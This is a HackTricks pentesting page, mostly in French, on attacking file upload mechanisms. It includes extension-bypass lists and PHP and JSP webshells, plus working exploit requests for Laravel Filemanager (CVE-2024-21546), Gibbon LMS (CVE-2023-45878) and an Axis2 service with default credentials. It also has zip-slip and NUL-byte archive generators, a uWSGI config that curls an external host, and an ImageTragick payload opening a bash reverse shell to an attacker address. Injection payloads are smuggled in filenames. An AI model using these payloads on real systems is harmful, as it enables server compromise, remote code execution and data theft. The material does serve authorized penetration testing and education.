File Upload
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
File Upload General Methodology
Other useful extensions:
- PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
- Working in PHPv8: .php, .php4, .php5, .phtml_, .module_, .inc_, .hphp_, .ctp_
- ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
- Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
- Coldfusion: .cfm, .cfml, .cfc, .dbm
- Flash: .swf
- Perl: .pl, .cgi
- Erlang Yaws Web Server: .yaws
Bypass file extensions checks
- S’ils s’appliquent, vérifiez les extensions précédentes. Testez-les aussi en utilisant des lettres MAJUSCULES : pHp, .pHP5, .PhAr …
- Vérifiez l’ajout d’une extension valide avant l’extension d’exécution (utilisez aussi les extensions précédentes) :
- file.png.php
- file.png.Php5
- Essayez d’ajouter des caractères spéciaux à la fin. Vous pouvez utiliser Burp pour bruteforce tous les caractères ascii et Unicode. (Note : vous pouvez aussi essayer d’utiliser les extensions mentionnées précédemment)
- file.php%20
- file.php%0a
- file.php%00
- file.php%0d%0a
- file.php/
- file.php.\
- file.
- file.php….
- file.pHp5….
- Essayez de bypasser les protections en trompant le parser d’extensions côté serveur avec des techniques comme le doublement de l’extension ou en ajoutant des données junk (null bytes) entre les extensions. Vous pouvez aussi utiliser les extensions précédentes pour préparer un meilleur payload.
- file.png.php
- file.png.pHp5
- file.php#.png
- file.php%00.png
- file.php\x00.png
- file.php%0a.png
- file.php%0d%0a.png
- file.phpJunk123png
- Ajoutez une autre couche d’extensions aux vérifications précédentes :
- file.png.jpg.php
- file.php%00.png%00.jpg
- Essayez de mettre l’exec extension before the valid extension et priez que le serveur soit mal configuré. (utile pour exploiter des misconfigurations Apache où tout fichier ayant l’extension** .php, mais not necessarily ending in .php** exécutera du code) :
- ex: file.php.png
- Using NTFS alternate data stream (ADS) in Windows. Dans ce cas, un caractère deux-points “:” sera inséré après une extension interdite et avant une extension permise. En résultat, un fichier vide avec l’extension interdite sera créé sur le serveur (ex. “file.asax:.jpg”). Ce fichier pourrait ensuite être édité en utilisant d’autres techniques comme son short filename. Le pattern “::$data” peut aussi être utilisé pour créer des fichiers non vides. Par conséquent, ajouter un caractère point après ce pattern peut aussi être utile pour bypasser d’autres restrictions (ex. “file.asp::$data.”)
- Essayez de dépasser les limites de nom de fichier. L’extension valide est tronquée. Et le PHP malveillant reste. AAA<–SNIP–>AAA.php
# Linux maximum 255 bytes
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
# Upload the file and check response how many characters it alllows. Let's say 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Make the payload
AAA<--SNIP 232 A-->AAA.php.png
UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) – CVE-2024-21546
Certains upload handlers suppriment ou normalisent les points finaux du nom de fichier sauvegardé. Dans UniSharp’s Laravel Filemanager (unisharp/laravel-filemanager) versions before 2.9.1, vous pouvez bypass la validation d’extension en :
- Utilisant un MIME image valide et le magic header correspondant (ex., PNG’s
\x89PNG\r\n\x1a\n). - Nommant le fichier uploadé avec une extension PHP suivie d’un point, par ex.
shell.php.. - Le serveur supprime le point final et persiste
shell.php, qui s’exécutera s’il est placé dans un répertoire servi par le web (stockage public par défaut comme/storage/files/).
Minimal PoC (Burp Repeater):
POST /profile/avatar HTTP/1.1
Host: target
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="upload"; filename="0xdf.php."
Content-Type: image/png
\x89PNG\r\n\x1a\n<?php system($_GET['cmd']??'id'); ?>
------WebKitFormBoundary--
Ensuite, accédez au chemin enregistré (typique dans Laravel + LFM) :
GET /storage/files/0xdf.php?cmd=id
Contourner Content-Type, Magic Number, Compression & Resizing
- Contourner les contrôles de Content-Type en définissant la valeur de l’en-tête Content-Type sur : image/png , text/plain , application/octet-stream
- Content-Type wordlist: https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt
- Contourner la vérification du magic number en ajoutant au début du fichier les octets d’une vraie image (pour tromper la commande file). Ou introduire le shell dans les métadonnées:
exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg\ou vous pouvez aussi introduire la payload directement dans une image :echo '<?php system($_REQUEST['cmd']); ?>' >> img.png - Si une compression est appliquée à votre image, par exemple en utilisant certaines librairies PHP standard comme PHP-GD, les techniques précédentes ne seront pas utiles. Cependant, vous pouvez utiliser le PLTE chunk technique définie ici pour insérer du texte qui survivra à la compression.
- Github avec le code
- La page web peut aussi redimensionner l’image, en utilisant par exemple les fonctions PHP-GD
imagecopyresizedouimagecopyresampled. Cependant, vous pouvez utiliser le IDAT chunk technique définie ici pour insérer du texte qui survivra à la compression. - Github avec le code
- Une autre technique pour créer une payload qui survit à un redimensionnement d’image, en utilisant la fonction PHP-GD
thumbnailImage. Cependant, vous pouvez utiliser le tEXt chunk technique définie ici pour insérer du texte qui survivra à la compression. - Github avec le code
Autres astuces à vérifier
- Trouver une vulnérabilité permettant de renommer le fichier déjà téléversé (pour changer l’extension).
- Trouver une vulnérabilité de Local File Inclusion pour exécuter le backdoor.
- Divulgation d’informations possible :
- Téléverser plusieurs fois (et en même temps) le même fichier avec le même nom
- Téléverser un fichier avec le nom d’un fichier ou d’un dossier qui existe déjà
- Téléverser un fichier nommé “.” , “..”, or “…”. Par exemple, sous Apache sur Windows, si l’application enregistre les fichiers téléversés dans le répertoire “/www/uploads/”, le nom de fichier “.” créera un fichier appelé uploads dans le répertoire “/www/”.
- Téléverser un fichier difficile à supprimer tel que “…:.jpg” sur NTFS. (Windows)
- Téléverser un fichier sous Windows avec des caractères invalides tels que
|<>*?”dans son nom. (Windows) - Téléverser un fichier sous Windows en utilisant des noms réservés (interdits) tels que CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, et LPT9.
- Essayez également de téléverser un exécutable (.exe) ou un .html (moins suspect) qui exécutera du code lorsqu’il sera ouvert par la victime.
Astuces pour extensions spéciales
Si vous tentez de téléverser des fichiers vers un serveur PHP, regardez l’astuce .htaccess pour exécuter du code.
Si vous tentez de téléverser des fichiers vers un serveur ASP, voyez l’astuce .config pour exécuter du code.
Les fichiers .phar sont comme les .jar pour Java, mais pour php, et peuvent être utilisés comme un fichier php (en l’exécutant avec php, ou en l’incluant dans un script…).
L’extension .inc est parfois utilisée pour des fichiers php qui servent uniquement à importer des fichiers, donc, à un moment donné, quelqu’un a pu autoriser cette extension à être exécutée.
Jetty RCE
Si vous pouvez téléverser un fichier XML sur un serveur Jetty vous pouvez obtenir RCE parce que **les nouveaux .xml et .war sont automatiquement traités. Ainsi, comme indiqué dans l’image suivante, téléversez le fichier XML dans $JETTY_BASE/webapps/ et attendez le shell!
.png)
uWSGI RCE
Pour une exploration détaillée de cette vulnérabilité, consultez la recherche originale : uWSGI RCE Exploitation.
Les vulnérabilités Remote Command Execution (RCE) peuvent être exploitées sur des serveurs uWSGI si l’on a la capacité de modifier le fichier de configuration .ini. Les fichiers de configuration uWSGI utilisent une syntaxe spécifique pour intégrer des variables “magiques”, des placeholders et des opérateurs. Notamment, l’opérateur ‘@’, utilisé sous la forme @(filename), est conçu pour inclure le contenu d’un fichier. Parmi les différents schemes supportés par uWSGI, le scheme “exec” est particulièrement puissant, permettant de lire des données depuis la sortie standard d’un processus. Cette fonctionnalité peut être manipulée à des fins malveillantes telles que Remote Command Execution ou Arbitrary File Write/Read lorsque un fichier de configuration .ini est traité.
Considérez l’exemple suivant d’un fichier uwsgi.ini malveillant, illustrant plusieurs schemes:
[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)
L’exécution du payload a lieu lors de l’analyse du fichier de configuration. Pour que la configuration soit activée et analysée, le processus uWSGI doit soit être redémarré (potentiellement après un crash ou en raison d’une Denial of Service attack), soit le fichier doit être configuré en auto-reload. La fonctionnalité auto-reload, si elle est activée, recharge le fichier à des intervalles spécifiés lorsqu’un changement est détecté.
Il est crucial de comprendre la nature laxiste de l’analyse des fichiers de configuration de uWSGI. Plus précisément, le payload discuté peut être inséré dans un fichier binaire (comme une image ou un PDF), élargissant ainsi le champ des potentielles exploitations.
Gibbon LMS arbitrary file write to pre-auth RCE (CVE-2023-45878)
Un endpoint non authentifié dans Gibbon LMS permet un arbitrary file write dans le web root, conduisant à un pre-auth RCE en déposant un fichier PHP. Versions vulnérables : jusqu’à et incluant 25.0.01.
- Endpoint:
/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php - Method: POST
- Paramètres requis :
img: data-URI-like string:[mime];[name],[base64](le serveur ignore type/name, décode en base64 la partie finale)path: destination filename relative to Gibbon install dir (e.g.,poc.phpor0xdf.php)gibbonPersonID: any non-empty value is accepted (e.g.,0000000001)
Minimal PoC to write and read back a file:
# Prepare test payload
printf '0xdf was here!' | base64
# => MHhkZiB3YXMgaGVyZSEK
# Write poc.php via unauth POST
curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;test,MHhkZiB3YXMgaGVyZSEK&path=poc.php&gibbonPersonID=0000000001'
# Verify write
curl http://target/Gibbon-LMS/poc.php
Déposer un webshell minimal et exécuter des commandes:
# '<?php system($_GET["cmd"]); ?>' base64
# PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==
curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;foo,PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==&path=shell.php&gibbonPersonID=0000000001'
curl 'http://target/Gibbon-LMS/shell.php?cmd=whoami'
Remarques:
- Le handler effectue
base64_decode($_POST["img"])après les avoir séparés par;et,, puis écrit les octets dans$absolutePath . '/' . $_POST['path']sans valider l’extension/le type. - Le code résultant s’exécute en tant qu’utilisateur du service web (par ex., XAMPP Apache sur Windows).
Les références pour ce bug incluent l’avis usd HeroLab et l’entrée NVD. Voir la section References ci-dessous.
wget File Upload/SSRF Trick
Dans certains cas, vous pouvez constater qu’un serveur utilise wget pour télécharger des fichiers et que vous pouvez indiquer l’URL. Dans ces cas, le code peut vérifier que l’extension des fichiers téléchargés figure dans une whitelist afin d’assurer que seuls des fichiers autorisés seront téléchargés. Cependant, cette vérification peut être contournée.
La longueur maximale d’un nom de fichier sous linux est de 255 caractères, cependant, wget tronque les noms de fichiers à 236 caractères. Vous pouvez télécharger un fichier nommé “A”*232+“.php”+“.gif” ; ce nom de fichier contourn e la vérification (dans cet exemple “.gif” est une extension valide) mais wget renomme le fichier en “A”*232+“.php”.
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06-- http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>] 10 --.-KB/s in 0s
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
Notez que une autre option à laquelle vous pourriez penser pour contourner cette vérification est de faire en sorte que le HTTP server redirect to a different file, de sorte que l’URL initiale contournera la vérification, puis wget téléchargera le fichier redirigé avec le nouveau nom. Cela ne fonctionnera pas à moins que wget soit utilisé avec le paramètre --trust-server-names car wget téléchargera la page redirigée avec le nom du fichier indiqué dans l’URL originale.
Contourner upload directory via NTFS junctions (Windows)
(Pour cette attaque, vous aurez besoin d’un accès local à la machine Windows) Lorsque les uploads sont stockés dans des sous-dossiers par utilisateur sur Windows (par ex., C:\Windows\Tasks\Uploads<id>) et que vous contrôlez la création/suppression de ce sous-dossier, vous pouvez le remplacer par une directory junction pointant vers un emplacement sensible (par ex., le webroot). Les uploads suivants seront écrits dans le chemin cible, permettant l’exécution de code si la cible interprète server‑side code.
Exemple de déroulement pour rediriger les uploads vers le webroot XAMPP :
:: 1) Upload once to learn/confirm your per-user folder name (e.g., md5 of form fields)
:: Observe it on disk: C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882
:: 2) Remove the created folder and create a junction to webroot
rmdir C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882
cmd /c mklink /J C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882 C:\xampp\htdocs
:: 3) Re-upload your payload; it lands under C:\xampp\htdocs
:: Minimal PHP webshell for testing
:: <?php echo shell_exec($_REQUEST['cmd']); ?>
:: 4) Trigger
curl "http://TARGET/shell.php?cmd=whoami"
Notes
- mklink /J crée une NTFS directory junction (reparse point). Le compte du serveur web doit suivre la junction et disposer d’un droit d’écriture dans la destination.
- Cela redirige des écritures de fichiers arbitraires ; si la destination exécute des scripts (PHP/ASP), cela devient RCE.
- Défenses : n’autorisez pas que des racines d’upload écrites soient attacker‑controllable sous C:\Windows\Tasks ou similaire ; bloquez la création de junctions ; validez les extensions côté serveur ; stockez les uploads sur un volume séparé ou avec des ACLs deny‑execute.
GZIP-compressed body upload + path traversal in destination param → JSP webshell RCE (Tomcat)
Certains handlers d’upload/ingest écrivent le corps brut de la requête vers un chemin filesystem construit à partir de query parameters contrôlés par l’utilisateur. Si le handler supporte aussi Content-Encoding: gzip et ne canonicalise/valide pas le chemin de destination, vous pouvez combiner directory traversal avec une payload gzippée pour écrire des octets arbitraires dans un répertoire servi par le web et obtenir RCE (par ex., déposer un JSP sous webapps de Tomcat).
Flux d’exploitation générique :
- Préparez votre payload côté serveur (par ex., un JSP webshell minimal) et gzip-comprimez les octets.
- Envoyez un POST où un paramètre de chemin (par ex., token) contient du traversal échappant le dossier prévu, et file indique le nom de fichier à persister. Définissez Content-Type: application/octet-stream et Content-Encoding: gzip ; le body est la payload compressée.
- Accédez au fichier écrit pour déclencher l’exécution.
Requête illustrative:
POST /fileupload?token=..%2f..%2f..%2f..%2fopt%2ftomcat%2fwebapps%2fROOT%2Fjsp%2F&file=shell.jsp HTTP/1.1
Host: target
Content-Type: application/octet-stream
Content-Encoding: gzip
Content-Length: <len>
<gzip-compressed-bytes-of-your-jsp>
Ensuite, déclencher :
GET /jsp/shell.jsp?cmd=id HTTP/1.1
Host: target
Notes
- Les chemins cibles varient selon l’installation (par ex., /opt/TRUfusion/web/tomcat/webapps/trufusionPortal/jsp/ dans certaines stacks). Tout dossier exposé au web qui exécute JSP fonctionnera.
- L’extension Hackvertor de Burp Suite peut produire un corps gzip correct à partir de votre payload.
- Ceci est un pure pre-auth arbitrary file write → RCE pattern ; il ne repose pas sur multipart parsing.
Mitigations
- Déterminez les destinations d’upload côté serveur ; ne faites jamais confiance aux fragments de chemin fournis par les clients.
- Canonicalisez et appliquez que le chemin résolu reste dans un répertoire de base autorisé.
- Stockez les uploads sur un volume non-exécutable et refusez l’exécution de scripts depuis les chemins avec droits d’écriture.
Axis2 SOAP uploadFile traversal to Tomcat webroot (JSP drop)
Axis2-based upload services sometimes expose an uploadFile SOAP action that takes three attacker-controlled fields: jobDirectory (destination directory), archiveName (filename), and dataHandler (base64 file content). If jobDirectory is not canonicalized, you get arbitrary file write via path traversal and can land a JSP in Tomcat’s webapps.
Minimal request outline (default creds often work: admin / trubiquity):
POST /services/WsPortalV6UpDwAxis2Impl HTTP/1.1
Host: 127.0.0.1
Content-Type: text/xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:updw="http://updw.webservice.ddxPortalV6.ddxv6.procaess.com">
<soapenv:Body>
<updw:uploadFile>
<updw:login>admin</updw:login>
<updw:password>trubiquity</updw:password>
<updw:archiveName>shell.jsp</updw:archiveName>
<updw:jobDirectory>/../../../../opt/TRUfusion/web/tomcat/webapps/trufusionPortal/jsp/</updw:jobDirectory>
<updw:dataHandler>PD8lQCBwYWdlIGltcG9ydD0iamF2YS5pby4qIjsgc3lzdGVtKHJlcXVlc3QuZ2V0UGFyYW1ldGVyKCJjbWQiKSk7Pz4=</updw:dataHandler>
</updw:uploadFile>
</soapenv:Body>
</soapenv:Envelope>
- Les bindings sont souvent localhost-only ; combinez-les avec un SSRF full-read (absolute-URL request line, Host header ignored) pour atteindre
127.0.0.1si le port Axis2 n’est pas exposé. - Après écriture, accédez à
/trufusionPortal/jsp/shell.jsp?cmd=idpour exécuter.
Outils
- Upload Bypass est un outil puissant conçu pour aider les Pentesters et Bug Hunters à tester les mécanismes d’upload de fichiers. Il utilise diverses techniques de bug bounty pour simplifier le processus d’identification et d’exploitation des vulnérabilités, assurant des évaluations approfondies des applications web.
Corrompre les indices d’upload avec les bizarreries de snprintf (historique)
Certains handlers d’upload legacy qui utilisent snprintf() ou similaire pour construire des tableaux multi-file à partir d’un upload single-file peuvent être trompés pour forger la structure _FILES. En raison d’incohérences et de troncature dans le comportement de snprintf(), un upload unique soigneusement construit peut apparaître comme plusieurs fichiers indexés côté serveur, perturbant une logique qui suppose une forme stricte (par ex., le traiter comme un upload multi-file et prendre des branches non sécurisées). Bien que niche aujourd’hui, ce pattern d’“index corruption” réapparaît parfois dans des CTFs et de vieux codebases.
De l’upload de fichiers à d’autres vulnérabilités
- Set filename to
../../../tmp/lol.pngand try to achieve a path traversal - Set filename to
sleep(10)-- -.jpgand you may be able to achieve a SQL injection - Set filename to
<svg onload=alert(document.domain)>to achieve a XSS - Set filename to
; sleep 10;to test some command injection (more command injections tricks here) - XSS in image (svg) file upload
- JS file upload + XSS = Service Workers exploitation
- XXE in svg upload
- Open Redirect via uploading svg file
- Try different svg payloads from https://github.com/allanlw/svg-cheatsheet
- Famous ImageTrick vulnerability
- If you can indicate the web server to catch an image from a URL you could try to abuse a SSRF. If this image is going to be saved in some public site, you could also indicate a URL from https://iplogger.org/invisible/ and steal information of every visitor.
- XXE and CORS bypass with PDF-Adobe upload
- Specially crafted PDFs to XSS: The following page present how to inject PDF data to obtain JS execution. If you can upload PDFs you could prepare some PDF that will execute arbitrary JS following the given indications.
- Uploadez le contenu [eicar](https://secure.eicar.org/eicar.com.txt) pour vérifier si le serveur dispose d’un antivirus
- Vérifiez s’il existe une size limit lors de l’upload des fichiers
Voici un top 10 des choses que vous pouvez accomplir en uploadant (from here):
- ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE
- SVG: Stored XSS / SSRF / XXE
- GIF: Stored XSS / SSRF
- CSV: CSV injection
- XML: XXE
- AVI: LFI / SSRF
- HTML / JS : HTML injection / XSS / Open redirect
- PNG / JPEG: Pixel flood attack (DoS)
- ZIP: RCE via LFI / DoS
- PDF / PPTX: SSRF / BLIND XXE
Extension Burp
GitHub - PortSwigger/upload-scanner: HTTP file upload scanner for Burp Proxy \xc2\xb7 GitHub
Octets magiques d’en-tête
- PNG:
"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03[" - JPG:
"\xff\xd8\xff"
Reportez-vous à https://en.wikipedia.org/wiki/List_of_file_signatures pour d’autres types de fichiers.
Upload Zip/Tar automatiquement décompressé
Si vous pouvez uploader un ZIP qui va être décompressé à l’intérieur du serveur, vous pouvez faire 2 choses :
Symlink
Uploadez une archive contenant des liens symboliques vers d’autres fichiers ; ensuite, en accédant aux fichiers décompressés vous accéderez aux fichiers liés :
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt
Décompresser dans des dossiers différents
La création inattendue de fichiers dans des répertoires pendant la décompression est un problème important. Malgré l’hypothèse initiale que cette configuration pouvait empêcher l’exécution de commandes au niveau du système d’exploitation (OS-level) via des téléversements de fichiers malveillants, la prise en charge de la compression hiérarchique et les possibilités de traversée de répertoires du format d’archive ZIP peuvent être exploitées. Cela permet aux attaquants de contourner les restrictions et de s’échapper des répertoires de téléversement sécurisés en manipulant la fonctionnalité de décompression de l’application ciblée.
Un exploit automatisé pour fabriquer de tels fichiers est disponible à evilarc on GitHub. L’utilitaire peut être utilisé comme suit :
# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
De plus, le symlink trick with evilarc est une option. Si l’objectif est de cibler un fichier comme /flag.txt, un symlink vers ce fichier doit être créé sur votre système. Cela garantit qu’evilarc ne rencontre pas d’erreurs lors de son fonctionnement.
Ci-dessous un exemple de code Python utilisé pour créer un fichier zip malveillant:
#!/usr/bin/python
import zipfile
from io import BytesIO
def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()
create_zip()
Abusing compression for file spraying
Pour plus de détails consultez l’article original sur: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/
- Creating a PHP Shell: Du code PHP est écrit pour exécuter des commandes transmises via la variable
$_REQUEST.
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
- File Spraying and Compressed File Creation: Plusieurs fichiers sont créés et une archive zip est assemblée contenant ces fichiers.
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
- Modification with a Hex Editor or vi: Les noms des fichiers à l’intérieur du zip sont modifiés avec vi ou un éditeur hexadécimal, en remplaçant “xxA” par “../” pour traverser des répertoires.
:set modifiable
:%s/xxA/../g
:x!
ZIP NUL-byte filename smuggling (PHP ZipArchive confusion)
Lorsqu’un backend valide les entrées ZIP en utilisant ZipArchive de PHP mais que l’extraction écrit sur le système de fichiers en utilisant les noms bruts, vous pouvez faire passer une extension interdite en insérant un NUL (0x00) dans les champs de nom de fichier. ZipArchive traite le nom de l’entrée comme une chaîne C et tronque au premier NUL ; le système de fichiers écrit le nom complet, en omettant tout ce qui suit le NUL.
High-level flow:
- Préparer un fichier conteneur légitime (p.ex., un PDF valide) qui intègre un petit stub PHP dans un flux afin que le magic/MIME reste un PDF.
- Nommez-le par exemple
shell.php..pdf, zippez-le, puis éditez en hexadécimal l’en-tête local ZIP et le nom de fichier du répertoire central pour remplacer le premier.après.phppar0x00, ce qui donneshell.php\x00.pdf. - Les validateurs qui s’appuient sur ZipArchive « verront »
shell.php .pdfet l’accepteront ; l’extracteur écrirashell.phpsur le disque, conduisant à une RCE si le dossier d’upload est exécutable.
Minimal PoC steps:
# 1) Build a polyglot PDF containing a tiny webshell (still a valid PDF)
printf '%s' "%PDF-1.3\n1 0 obj<<>>stream\n<?php system($_REQUEST["cmd"]); ?>\nendstream\nendobj\n%%EOF" > embedded.pdf
# 2) Trick name and zip
cp embedded.pdf shell.php..pdf
zip null.zip shell.php..pdf
# 3) Hex-edit both the local header and central directory filename fields
# Replace the dot right after ".php" with 00 (NUL) => shell.php\x00.pdf
# Tools: hexcurse, bless, bvi, wxHexEditor, etc.
# 4) Local validation behavior
php -r '$z=new ZipArchive; $z->open("null.zip"); echo $z->getNameIndex(0),"\n";'
# -> shows truncated at NUL (looks like ".pdf" suffix)
Remarques
- Modifiez LES DEUX occurrences du nom de fichier (local et central directory). Certains outils ajoutent aussi une entrée data descriptor — ajustez tous les name fields si présents.
- Le fichier payload doit toujours passer la détection server‑side magic/MIME. Intégrer le PHP dans un PDF stream maintient l’en-tête valide.
- Fonctionne lorsque le chemin enum/validation et le chemin extraction/write divergent sur la gestion des chaînes.
ZIPs empilés/concaténés (désaccord du parser)
La concaténation de deux fichiers ZIP valides produit un blob où différents parsers se focalisent sur différents enregistrements EOCD. De nombreux outils localisent le dernier End Of Central Directory (EOCD), tandis que certaines bibliothèques (par ex., ZipArchive dans certains workflows) peuvent parser la première archive qu’elles trouvent. Si la validation énumère la première archive et que l’extraction utilise un autre outil qui respecte le dernier EOCD, une archive bénigne peut passer les vérifications tandis qu’une archive malveillante est extraite.
PoC:
# Build two separate archives
printf test > t1; printf test2 > t2
zip zip1.zip t1; zip zip2.zip t2
# Stack them
cat zip1.zip zip2.zip > combo.zip
# Different views
unzip -l combo.zip # warns about extra bytes; often lists entries from the last archive
php -r '$z=new ZipArchive; $z->open("combo.zip"); for($i=0;$i<$z->numFiles;$i++) echo $z->getNameIndex($i),"\n";'
Schéma d’abus
- Créez une archive bénigne (type autorisé, par ex. un PDF) et une seconde archive contenant une extension bloquée (par ex.
shell.php). - Concaténez-les :
cat benign.zip evil.zip > combined.zip. - Si le serveur valide avec un parseur (voit benign.zip) mais extrait avec un autre (traite evil.zip), le fichier bloqué atterrit dans le chemin d’extraction.
ImageTragic
Téléversez ce contenu avec une extension d’image pour exploiter la vulnérabilité (ImageMagick , 7.0.1-1) (à partir de l’exploit)
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context
Insertion d’un PHP shell dans un PNG
L’incrustation d’un PHP shell dans le chunk IDAT d’un fichier PNG peut contourner efficacement certaines opérations de traitement d’images. Les fonctions imagecopyresized et imagecopyresampled de PHP-GD sont particulièrement pertinentes ici, car elles sont couramment utilisées pour redimensionner et rééchantillonner les images, respectivement. Le fait que le PHP shell intégré reste intact après ces opérations constitue un avantage important pour certains cas d’usage.
Une exploration détaillée de cette technique, incluant sa méthodologie et ses applications potentielles, est fournie dans l’article suivant : “Encoding Web Shells in PNG IDAT chunks”. Cette ressource offre une compréhension complète du processus et de ses implications.
